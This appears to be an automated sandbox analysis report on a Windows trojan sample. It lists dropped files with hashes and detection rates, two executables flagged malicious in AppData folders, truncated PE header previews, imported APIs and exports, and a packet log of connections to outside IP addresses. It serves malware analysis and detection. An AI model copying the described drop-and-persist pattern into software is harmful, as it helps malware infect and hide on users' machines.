Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_j14keemm.ett.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kex4skqp.05s.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lcnq5zao.a1a.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sxduuzil.qwb.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ufkvmjmu.yu4.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wmnevxak.5yw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\MonDisc.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1619428
Entropy (8bit):	7.59374824680465
Encrypted:	false
SSDEEP:	24576:OWXJJ2t8UZmjAOXwfp8UkSOOyYZtHVyNZQQSFMIND0Kw8qwKGybJZFcwV/Ubf16m:xrcO6uctHVQbIh0Kw87KGoP2wxyV
MD5:	EEF2E49FD27D42237FFB929E1A39FC2D
SHA1:	590C0FAFBBE555A8E4C8A7DDB8BD869E7813A1E1
SHA-256:	B25CF13A5F670BE96946523C31C4FD84F639F397B5AB6D4BD244848CF160BB37
SHA-512:	4C559EF66F7A62481C708A40D746F84A3B3EBC4B4E7B7B23997493B193EE7954AF4A1C431509EF352D336270976732C55FA105579A37D7B299DF963EE56A1BBE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 54% Antivirus: Virustotal, Detection: 56%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........D.........................8.................................................2......2......2.U.......=.....2......Rich....................PE..d...#.Vd..........".................vZ.........@.............................00...........`...........................................-.(...a.,.(.....0.......,.@.............0.....E.-.......................,.(....................................................text...:.,......................... ..`.data.... ....,.. ..................@....vxlang.......,.....................@..@.mir..........-........................`.rsrc.........0.....................@..@.reloc........0.....................@..@................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Prtct\Updates\SysCare\LoWin64.exe

Download File

Process:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Trojan-gen.31951.26059.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1628132
Entropy (8bit):	7.604723957432385
Encrypted:	false
SSDEEP:	24576:DN6DSMx5qk/2h75CFLcCbHgDs1WYorUwevCG0WlKeGJpyP:DN6Cm2CFLPbHksgV1GMaP
MD5:	79F329EA2EC0C1BAED4F262F79B48BA5
SHA1:	12068E22E536A9848B24CC3974F250DD015E2F9C
SHA-256:	5D383D0F6C3455B522237C95D055D938B8FAA8A9DB14CEE25687D9C7004F36E8
SHA-512:	6B0E08EA30ED7621C4E23E07648C8BDACFAD61704489D683D4A4984B61E4D1EB5D7B1EB61F9AD2912AF90A31D60310B02567FE8EFE92F5FFDC7C0D46E4F7DA8A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 49% Antivirus: Virustotal, Detection: 54%, Browse
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$..........D.........................8.................................................2......2......2.U.......=.....2......Rich....................PE..d.....Vd.........."......,..........pd.........@..............................0...........`..........................................G..(...aP-.(.....0......p-.@.............0.....ED.......................P-.(....................................................text....5-......................... ..`.data.... ...P-.. ..................@....vxlang......p-.....................@..@.mir.........`.........................`.rsrc.........0.....................@..@.reloc........0.....................@..@................................................................................................................................................................................................................

GetCommandLineW, GetCurrentProcess, GetCurrentProcessId, GetTickCount, GetLargePageMinimum, GetModuleHandleW, GetUserDefaultLangID, GetSystemDefaultLangID, GetLastError, SetLastError, RtlCaptureContext, RtlLookupFunctionEntry, RtlRestoreContext, RtlUnwindEx, RtlVirtualUnwind, RaiseException, GetProcAddress, LoadLibraryExA, VirtualAlloc, VirtualFree, VirtualQuery, InitializeCriticalSection, EnterCriticalSection, LeaveCriticalSection, DeleteCriticalSection, WaitForSingleObject, Sleep, CreateThread, FreeLibrary, GetModuleFileNameA, GetModuleHandleA, GetModuleHandleExA, FormatMessageA, VirtualProtect, WriteConsoleW, SetEndOfFile, HeapReAlloc, HeapSize, GetProcessHeap, GetStringTypeW, SetStdHandle, SetEnvironmentVariableW, FreeEnvironmentStringsW, GetEnvironmentStringsW, GetCPInfo, GetOEMCP, GetACP, IsValidCodePage, FindNextFileW, QueryPerformanceCounter, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, IsProcessorFeaturePresent, TerminateProcess, InterlockedPushEntrySList, InterlockedFlushSList, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, LoadLibraryExW, EncodePointer, RtlPcToFileHeader, GetCommandLineA, SetConsoleCtrlHandler, ExitProcess, GetModuleHandleExW, ReadFile, CloseHandle, DuplicateHandle, CreateProcessW, GetTempPathW, QueryPerformanceFrequency, GetStdHandle, WriteFile, GetModuleFileNameW, GetCurrentThread, HeapAlloc, HeapFree, GetDateFormatW, GetTimeFormatW, CompareStringW, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileType, GetConsoleMode, ReadConsoleW, FlushFileBuffers, GetConsoleOutputCP, GetFileSizeEx, SetFilePointerEx, GetExitCodeProcess, GetFileAttributesExW, CreatePipe, CreateFileW, GetTimeZoneInformation, MultiByteToWideChar, WideCharToMultiByte, DeleteFileW, MoveFileExW, OutputDebugStringW, FindClose, FindFirstFileExW, RtlUnwind

USER32.dll

GetTopWindow, GetShellWindow, GetParent, GetDesktopWindow, GetWindowTextLengthW, GetLastActivePopup, IsZoomed, AnyPopup, IsIconic, GetDoubleClickTime, GetMessageExtraInfo, GetMessageTime, GetForegroundWindow

Exports

Name	Ordinal	Address
__swprintf_l	1	0x14000ec10
__vswprintf_l	2	0x14000ec70
_fprintf_l	3	0x14000ece0
_fprintf_p	4	0x14000ed30
_fprintf_p_l	5	0x14000ed80
_fprintf_s_l	6	0x14000edd0
_fscanf_l	7	0x14000ee20
_fscanf_s_l	8	0x14000ee70
_fwprintf_l	9	0x14000eec0
_fwprintf_p	10	0x14000ef10
_fwprintf_p_l	11	0x14000ef60
_fwprintf_s_l	12	0x14000efb0
_fwscanf_l	13	0x14000f000
_fwscanf_s_l	14	0x14000f050
_printf_l	15	0x14000f0a0
_printf_p	16	0x14000f100
_printf_p_l	17	0x14000f160
_printf_s_l	18	0x14000f1c0
_scanf_l	19	0x14000f220
_scanf_s_l	20	0x14000f270
_scprintf	21	0x14000f2d0
_scprintf_l	22	0x14000f330
_scprintf_p	23	0x14000f390
_scprintf_p_l	24	0x14000f3f0
_scwprintf	25	0x14000f450
_scwprintf_l	26	0x14000f4b0
_scwprintf_p	27	0x14000f510
_scwprintf_p_l	28	0x14000f570
_snprintf	29	0x14000f5d0
_snprintf_c	30	0x14000f630
_snprintf_c_l	31	0x14000f690
_snprintf_l	32	0x14000f6f0
_snprintf_s	33	0x14000f750
_snprintf_s_l	34	0x14000f7c0
_snscanf	35	0x14000f830
_snscanf_l	36	0x14000f880
_snscanf_s	37	0x14000f8d0
_snscanf_s_l	38	0x14000f930
_snwprintf	39	0x14000f990
_snwprintf_l	40	0x14000f9f0
_snwprintf_s	41	0x14000fa50
_snwprintf_s_l	42	0x14000fac0
_snwscanf	43	0x14000fb30
_snwscanf_l	44	0x14000fb80
_snwscanf_s	45	0x14000fbd0
_snwscanf_s_l	46	0x14000fc30
_sprintf_l	47	0x14000fc90
_sprintf_p	48	0x14000fcf0
_sprintf_p_l	49	0x14000fd50
_sprintf_s_l	50	0x14000fdb0
_sscanf_l	51	0x14000fe10
_sscanf_s_l	52	0x14000fe60
_swprintf	53	0x14000fec0
_swprintf_c	54	0x14000ff20
_swprintf_c_l	55	0x14000ff80
_swprintf_l	56	0x14000ffe0
_swprintf_p	57	0x140010040
_swprintf_p_l	58	0x1400100a0
_swprintf_s_l	59	0x140010100
_swscanf_l	60	0x140010160
_swscanf_s_l	61	0x1400101b0
_vfprintf_l	62	0x140010210
_vfprintf_p	63	0x140010260
_vfprintf_p_l	64	0x1400102b0
_vfprintf_s_l	65	0x140010300
_vfscanf_l	66	0x140010350
_vfscanf_s_l	67	0x1400103a0
_vfwprintf_l	68	0x140010400
_vfwprintf_p	69	0x140010450
_vfwprintf_p_l	70	0x1400104a0
_vfwprintf_s_l	71	0x1400104f0
_vfwscanf_l	72	0x140010540
_vfwscanf_s_l	73	0x140010590
_vprintf_l	74	0x1400105f0
_vprintf_p	75	0x140010650
_vprintf_p_l	76	0x1400106a0
_vprintf_s_l	77	0x140010700
_vscanf_l	78	0x140010760
_vscanf_s_l	79	0x1400107c0
_vscprintf	80	0x140010820
_vscprintf_l	81	0x140010870
_vscprintf_p	82	0x1400108d0
_vscprintf_p_l	83	0x140010920
_vscwprintf	84	0x140010980
_vscwprintf_l	85	0x1400109d0
_vscwprintf_p	86	0x140010a30
_vscwprintf_p_l	87	0x140010a80
_vsnprintf	88	0x140010ae0
_vsnprintf_c	89	0x140010b50
_vsnprintf_c_l	90	0x140010bc0
_vsnprintf_l	91	0x140010c30
_vsnprintf_s	92	0x140010ca0
_vsnprintf_s_l	93	0x140010d10
_vsnwprintf	94	0x140010d80
_vsnwprintf_l	95	0x140010df0
_vsnwprintf_s	96	0x140010e60
_vsnwprintf_s_l	97	0x140010ed0
_vsnwscanf_l	98	0x140010f40
_vsnwscanf_s_l	99	0x140010fa0
_vsprintf_l	100	0x140011000
_vsprintf_p	101	0x140011070
_vsprintf_p_l	102	0x1400110e0
_vsprintf_s_l	103	0x140011150
_vsscanf_l	104	0x1400111c0
_vsscanf_s_l	105	0x140011220
_vswprintf	106	0x140011280
_vswprintf_c	107	0x1400112e0
_vswprintf_c_l	108	0x140011350
_vswprintf_l	109	0x1400113c0
_vswprintf_p	110	0x140011430
_vswprintf_p_l	111	0x1400114a0
_vswprintf_s_l	112	0x140011510
_vswscanf_l	113	0x140011580
_vswscanf_s_l	114	0x1400115e0
_vwprintf_l	115	0x140011640
_vwprintf_p	116	0x1400116a0
_vwprintf_p_l	117	0x1400116f0
_vwprintf_s_l	118	0x140011750
_vwscanf_l	119	0x1400117b0
_vwscanf_s_l	120	0x140011810
_wprintf_l	121	0x140011870
_wprintf_p	122	0x1400118d0
_wprintf_p_l	123	0x140011930
_wprintf_s_l	124	0x140011990
_wscanf_l	125	0x1400119f0
_wscanf_s_l	126	0x140011a40
fprintf	127	0x140011ba0
fprintf_s	128	0x140011bf0
fscanf	129	0x140011c40
fscanf_s	130	0x140011c90
fwprintf	131	0x140011ce0
fwprintf_s	132	0x140011d30
fwscanf	133	0x140011d80
fwscanf_s	134	0x140011dd0
printf	135	0x1400125c0
printf_s	136	0x140012620
scanf	137	0x140012710
scanf_s	138	0x140012760
snprintf	139	0x140012820
sprintf	140	0x140012880
sprintf_s	141	0x1400128e0
sscanf	142	0x140012940
sscanf_s	143	0x1400129a0
swprintf	144	0x140012a00
swprintf_s	145	0x140012a60
swscanf	146	0x140012ac0
swscanf_s	147	0x140012b20
vfprintf	148	0x140012b80
vfprintf_s	149	0x140012bd0
vfscanf	150	0x140012c20
vfscanf_s	151	0x140012c70
vfwprintf	152	0x140012cc0
vfwprintf_s	153	0x140012d10
vfwscanf	154	0x140012d60
vfwscanf_s	155	0x140012db0
vprintf	156	0x140012e00
vprintf_s	157	0x140012e50
vscanf	158	0x140012ea0
vscanf_s	159	0x140012ef0
vsnprintf	160	0x140012f40
vsnprintf_s	161	0x140012fb0
vsprintf	162	0x140013020
vsprintf_s	163	0x140013080
vsscanf	164	0x1400130f0
vsscanf_s	165	0x140013140
vswprintf	166	0x1400131a0
vswprintf_s	167	0x140013210
vswscanf	168	0x140013280
vswscanf_s	169	0x1400132d0
vwprintf	170	0x140013330
vwprintf_s	171	0x140013380
vwscanf	172	0x1400133d0
vwscanf_s	173	0x140013420
wprintf	174	0x140013470
wprintf_s	175	0x1400134d0
wscanf	176	0x140013530
wscanf_s	177	0x140013580

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 14, 2023 04:34:20.085824013 CEST	49699	80	192.168.2.3	208.95.112.1
May 14, 2023 04:34:20.115086079 CEST	80	49699	208.95.112.1	192.168.2.3
May 14, 2023 04:34:20.115217924 CEST	49699	80	192.168.2.3	208.95.112.1
May 14, 2023 04:34:20.164756060 CEST	49699	80	192.168.2.3	208.95.112.1
May 14, 2023 04:34:20.202805042 CEST	80	49699	208.95.112.1	192.168.2.3
May 14, 2023 04:34:20.202970028 CEST	49699	80	192.168.2.3	208.95.112.1
May 14, 2023 04:34:20.301862955 CEST	49700	80	192.168.2.3	185.159.130.81
May 14, 2023 04:34:23.302215099 CEST	49700	80	192.168.2.3	185.159.130.81
May 14, 2023 04:34:29.318542004 CEST	49700	80	192.168.2.3	185.159.130.81
May 14, 2023 04:34:41.360456944 CEST	49701	80	192.168.2.3	185.159.129.168
May 14, 2023 04:34:41.422636986 CEST	80	49701	185.159.129.168	192.168.2.3
May 14, 2023 04:34:41.422755957 CEST	49701	80	192.168.2.3	185.159.129.168
May 14, 2023 04:34:41.423587084 CEST	49701	80	192.168.2.3	185.159.129.168
May 14, 2023 04:34:41.487287045 CEST	80	49701	185.159.129.168	192.168.2.3
May 14, 2023 04:34:41.639175892 CEST	80	49701	185.159.129.168	192.168.2.3
May 14, 2023 04:34:41.639225006 CEST	80	49701	185.159.129.168	192.168.2.3
May 14, 2023 04:34:41.639245987 CEST	80	49701	185.159.129.168	192.168.2.3
May 14, 2023 04:34:41.639271975 CEST	49701	80	192.168.2.3	185.159.129.168
May 14, 2023 04:34:41.639316082 CEST	49701	80	192.168.2.3	185.159.129.168
May 14, 2023 04:34:41.639316082 CEST	49701	80	192.168.2.3	185.159.129.168
May 14, 2023 04:34:41.878700018 CEST	49702	80	192.168.2.3	144.76.136.153
May 14, 2023 04:34:41.901375055 CEST	80	49702	144.76.136.153	192.168.2.3
May 14, 2023 04:34:41.901621103 CEST	49702	80	192.168.2.3	144.76.136.153
May 14, 2023 04:34:41.903642893 CEST	49702	80	192.168.2.3	144.76.136.153
May 14, 2023 04:34:41.926331997 CEST	80	49702	144.76.136.153	192.168.2.3
May 14, 2023 04:34:41.926390886 CEST	80	49702	144.76.136.153	192.168.2.3
May 14, 2023 04:34:41.926481009 CEST	49702	80	192.168.2.3	144.76.136.153
May 14, 2023 04:34:41.969095945 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:41.969172001 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:41.969269037 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:41.997483015 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:41.997522116 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.095974922 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.096071959 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.388818026 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.388856888 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.389264107 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.389343977 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.391415119 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.435425997 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.843616962 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.843664885 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.843719006 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.843777895 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.843806028 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.843842983 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.843877077 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.843893051 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.843910933 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.843919992 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.843938112 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.843970060 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.843997955 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.866070986 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.866101980 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.866249084 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.866265059 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.866297007 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.866333008 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.866517067 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.866559029 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.866616011 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.866631031 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.866661072 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.866832972 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.867060900 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.867091894 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.867145061 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.867157936 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.867173910 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.867201090 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.889569044 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.889624119 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.889802933 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.889827013 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.890032053 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.890105963 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.890152931 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.890170097 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.890202999 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.890273094 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.890522957 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.890547037 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.890635967 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.890650988 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.890686035 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.890721083 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.891053915 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.891110897 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.891160011 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.891172886 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.891218901 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.891235113 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.891755104 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.891783953 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.891870022 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.891880989 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.892276049 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.892303944 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.892415047 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.892426968 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.893136024 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.915419102 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.915530920 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.915704966 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.915740013 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.915783882 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.915812969 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.916106939 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.916157961 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.916239023 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.916260004 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.916316032 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.916346073 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.916822910 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.916877985 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.916964054 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.916984081 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.917040110 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.917068958 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.917319059 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.917390108 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.917442083 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.917460918 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.917494059 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.917525053 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.917763948 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.917831898 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.917870998 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.917891026 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.917936087 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.917974949 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.918256044 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.918307066 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.918359995 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.918378115 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.918428898 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.918458939 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.918612957 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.918683052 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.918711901 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.918729067 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.918781996 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.918817043 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.918997049 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.919050932 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.919100046 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.919146061 CEST	443	49703	144.76.136.153	192.168.2.3
